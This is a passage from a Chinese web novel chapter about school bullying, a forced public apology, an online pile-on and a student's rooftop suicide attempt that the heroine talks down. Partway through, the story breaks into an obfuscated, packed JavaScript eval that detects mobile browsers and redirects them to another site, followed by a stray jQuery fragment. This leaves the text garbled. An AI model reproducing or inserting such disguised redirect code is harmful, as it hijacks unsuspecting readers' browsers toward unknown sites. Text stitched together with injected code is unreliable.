叶以秦终于扭头看了他一眼:“我不给你吃你就不会吃了?你是三岁小孩么?”
不是饿了一秒就心急火燎自个跑去厨房了么,装什么懵懂无知的小孩,不给喂饭就能忘记吃饭啊?
顾易宸发现了,他在叶以秦面前往往维持不了几分钟的镇定,这个女人像是天生克他的一样,让人很难不动气。
“你是涂家的佣人,我是主人,你给我服务是应该的!我不是在跟你请求,是在命令你!”顾易宸霸道地说。
叶以秦很欠地吹了个没有声——主要是吹不出来——的口哨,说:“哦哟,了不起了不起。”
难道气人真是她的天赋?
顾易宸咬牙切齿地瞪着她,眼里都快喷出火了,迫近后低头看她,压着声音道:“别以为我拿你没办法……”
叶以秦微笑:“少爷欸,为了一顿饭你也是拼了。”
“……叶以秦!”他低吼。
叶以秦差点笑出声来,眼睛弯起,浑似放在阳光下的琉璃珠,折射出细碎又闪亮的光。
纤弱柔美的人笑起来竟意外的灵动狡黠。
顾易宸所有的怒气卡在胸腔,这一瞬脑子里闪过的一个念头是,毕竟是大家选出来的校花,确实有它的道理……
顾易宸不知为何丢神了,叶以秦没注意到,因为她看见斜前方的熟悉面孔正妒恨又扭曲地盯着她。
杜萱那双贴了长长假睫毛的眼睛在化过妆后显得很大,情绪便也一览无余,且非常分明——在看向她时,怒火像具象化了,仿佛随时都能蔓延出来把她烧了,而落在顾易宸身上时,却又变成了一种悲伤不甘,又夹带着点委屈的复杂眼神。
叶以秦心里一个咯噔,喊了下顾易宸:“喂,你和杜萱认识吗?”
顾易宸下意识顺着她的目光看过去时,杜萱已经连忙转身走了。
他说:“杜成业的女儿,认识是认识,没那么熟,怎么了,她又要找你麻烦?”
“你怎么惹上她了,这女人小气得很,如何,要我出手帮你摆平?”
这人这么快就忘了刚才气得对她放狠话了么。
叶以秦和他拉开距离:“摆平个鬼,我求你以后离我远点。”
她闻到了狗血的味道。
如果没猜错,杜萱或许喜欢顾易宸?
她针对自己,这里面该不会就有顾易宸的原因在吧?
可是她和顾易宸在学校里根本就没接触过几次啊,杜萱到底是怎么脑补的啊?
叶以秦深觉晦气地走了,留下顾易宸气急败坏地想追上去再放狠话,但又觉得这样跟在女生屁股后很没面子,最终阴着脸走了。
回到教室,课还没上,叶以秦就被周若巧拉出去,要带她去校长室。
“下课再说。”叶以秦皱着眉。
“刚才通知已经下来了!第三节课后大家就要去操场,再不去找他就来不及了。”
叶以秦甩开她的手:“现在知道慌了,背后造我谣的时候不是笑得很开心?你倒是说说,我凭什么要帮你?”
周若巧哀怨地盯着她,再一次感受到她真的变了。
从前的叶以秦最好说话,人也柔柔弱弱的,说话都不敢大声,周若巧有时候都觉得自己要是有那张脸,早作威作福起来了,她却那样无能窝囊,实在让人火大。
可如今,叶以秦真硬气起来了,她却不好受了。
同为舍友,她多少知道一点叶以秦的家庭情况,原本以为匿名把消息捅到她家里去,她那个爸能起到点作用,结果现在叶以秦还跟没事人一样。
周若巧吞下满心苦涩,低头道歉:“对不起,但现在只有你能帮我了,杜萱把一切都推到了我身上……”
叶以秦不耐得再和她们打交道,不过她也有点好奇校长为什么要这么做,便也和周若巧一起去了校长办公室。
结果门都没开。
都十点了,办公室里连个人影都没有,要么说人家是校长呢。
周若巧当下脸就暗下去了,要求叶以秦在下课后再来一趟。
然而这次操场上讲话实在是太突然,估计除了校长那几个人,其余的都不知道会发生什么,更不知道会是怎么一个流程,所以当周若巧在课堂上被提前叫走时,叶以秦还怔了一下。
周若巧脸色发白地朝她看来。
叶以秦只好起身跟了出去,后边任课老师也一头雾水,但亲自来带人的是主任,她也不好阻拦。
叶以秦出声:“等一下老师,请问校长在哪儿?我有事想和他谈谈。”
那个主任瞥过来的眼神里带着陌生:“你是谁?校长没空,有事找你们老师。”
叶以秦微微皱眉:“你不认识我吗?”
主任面露鄙夷,嗤笑道:“你是什么大人物吗?我非得认识你?”
可是,校长今天的举动明面上就是为了她啊。
叶以秦隐隐猜到了校长的态度。
果然,等真找到人的时候,校长压根没把她放在眼里,反而用一种施恩的、高高在上的姿态道:“差不多得了,你已经不亏了,这里没你什么事,别蹦来蹦去的了。”
他们的流程和安排透露着一股紧迫,周若巧被逼着上台,在几乎全校师生面前念着别人给的稿,痛陈自己的卑鄙,底下有人全程录音录像。
曾经的另一个当事人杜萱面无表情站在台下,她不觉得自己的选择是错的,只是有点可怜周若巧,但没办法,她也是多亏了有点小后台的爸,才把自己摘出去。
这就是命,像周若巧这样的人,本来就是炮灰,话很难听,但这就是现实。
十分钟后,周若巧在一阵嘘声中下台,校长上去义正言辞讲了几句,就此解散。
事态发展得很快,到了下午,周若巧的道歉就冲上了热搜,流量超乎寻常,仿佛有人在背后推动一样。
这一天,无数的谩骂和诋毁冲垮了周若巧,她被惊怒的父母痛斥,被所有人冷嘲热讽,恶语相向。
第二天傍晚,周若巧站在天台,脸上带着泪痕,双眼无神地看着围观的人群。
闻声而来的校长惊怒交加,简直暴跳如雷:“不过一次小小的网暴,现在的学生心理就这么脆弱,动不动就要死要活!”
“赶紧把她给我带下来!操!偏偏又是……”
站在他身后不远的叶以秦听到了那句话——偏偏又是跳楼。
至此,她已经确定,校长真的只是在借她的事来掩盖什么。
快速想了一圈剧情,她隐约猜到被掩盖的是什么事了。
地面上看热闹的人挤了一层又一层,手机镜头对准高楼上的人,远处的警报声急迫地逼近,周若巧跨上外墙,背后是一堆学校老师和领导。
叶以秦愣是挤了过来,人一多,难免发生小意外小摩擦,表情阴暗的校长不知被谁撞了一下,又被踩了一脚,他恼火地喝问:“是谁?是谁踩的我?”
叶以秦从一堆大人里走出来。
“是你?”
“不,不是我。”叶以秦无辜地举起双手,眨眨眼,“我是来劝她下来的。”
有老师认出了她,表情有些怪怨地说:“周若巧不就是因为向你道歉才想不开要跳楼的吗,你们不对付吧?你这样过去不会激怒她吗?”
“是啊,她现在可受不了一点刺激。”
一群人皱着眉头看过来,这是非要把人逼死才甘休啊,说到底,周若巧又不是犯了什么不可饶恕的罪,何至于此。
人群的眼神赤|裸|裸的,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166256|196722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
俨然把她当成了罪魁祸首。
“啊,各位老师,坚持让她当众道歉的人可是校长,我还赶过去阻止了,可也不知道为什么,校长非要这么做,真是有够奇怪的。”
叶以秦可不想平白背黑锅,不过现在的情况没法让她多解释,说完这话后她就直接走了出去。
校长的那张肉脸狠狠地抽了一下:“你这话什么意思?你是在说我——等等,你要干什么?!”
叶以秦回头喝止几个想要把她拽回来的老师:“都别过来!我会把她劝下来,你们全都离远点。”
眼睁睁看着她甚至小跑接近周若巧,在场的人吓得差点叫出声。
“周若巧,你先别跳。”叶以秦在一个安全距离停下。
看到她,周若巧麻木的眼睛陡然爆发恨意:“叶以秦!都是你的错,你还来干什么?!看到我现在这样你满意了吧!”
“你能别自己一个人在那瞎脑补吗?”
“什么?!”
叶以秦深深呼口气:“我只是普普通通上着学,偶尔打工赚点钱,和其他人关系不好也不坏,没骂过人,也没做什么对不起别人的事,平时连食堂被人插队了都选择退让,我是真不懂你为什么非要和我对着干。说老实话,这两三年里,你一直都在暗暗欺负我吧,我也不是傻子,善意恶意还是能感觉出来的。”
周若巧睁大了眼:“你……所以呢,你是想说今天这样都是我活该,是我自作自受,罪有应得,死有余辜?!”
叶以秦:“都说别瞎脑补了,还有你这成语用的是不是有点多了?”
“你滚!”她激动地挥舞双手,身子在高空中摇摇欲坠。
一堆人看得一阵心惊之余,纷纷斥骂叶以秦,让她滚下来。
叶以秦一拍脑袋:“瞧我,说好来劝你下来的,你别激动。”
周若巧:“……”
“你——”
“你先看看这个视频吧。”
叶以秦蹲下,把手机放地上,使点力气推过去。
周若巧警惕地看着她。
“你不觉得奇怪吗?”叶以秦始终没再进一步,声音保持在两人刚好能听到的程度,“一般学校但凡出现点丑闻,上面的人总是拼了命的要压下来,咱们这位校长倒好,我都找过去了,他还非要一意孤行。”
“还有那个上了热搜的视频,多角度全方位,不像偷拍,反而像有准备的采访,一切都很可疑,你不想知道这里面有什么猫腻吗?”
周若巧完全没空想到这些,如今被叶以秦几句话调动情绪,她捡起手机,播放那个视频。
是个偷拍的画面,而且时间就在几分钟前。
“赶紧把她给我带下来!操!偏偏又是跳楼!”
“我不管她死不死,反正不能在学校死,也不能是用这个方式!短短一个礼拜两个跳楼的……绝对会被发现……”
手机里大腹便便的校长脸色凝重,他一点也不关心周若巧的死活,只恨她不死得远远的。
周若巧脸色煞白:“这是什么……”
叶以秦道:“听说前几天有个老师跳楼了,这事你知道吧?”
“可是现在,你看谁还记得那件事?”
五分钟后,周若巧下来了,蔫头耷脑地跟在叶以秦身后。
校长脸色难受,张嘴就是一顿批。
叶以秦很吃惊地说道:“校长,她刚从死亡线上下来,顶楼还没下呢,您怎么能这么没有人情味的骂人呢,不怕她又破防,转身加速度,来一个信仰之跃啊?”
这下不止校长,连周若巧的脸色都难看起来了。
会不会说话?真烦!
好在周围人多,他们没在楼顶待多久,一群人浩浩荡荡地下去了。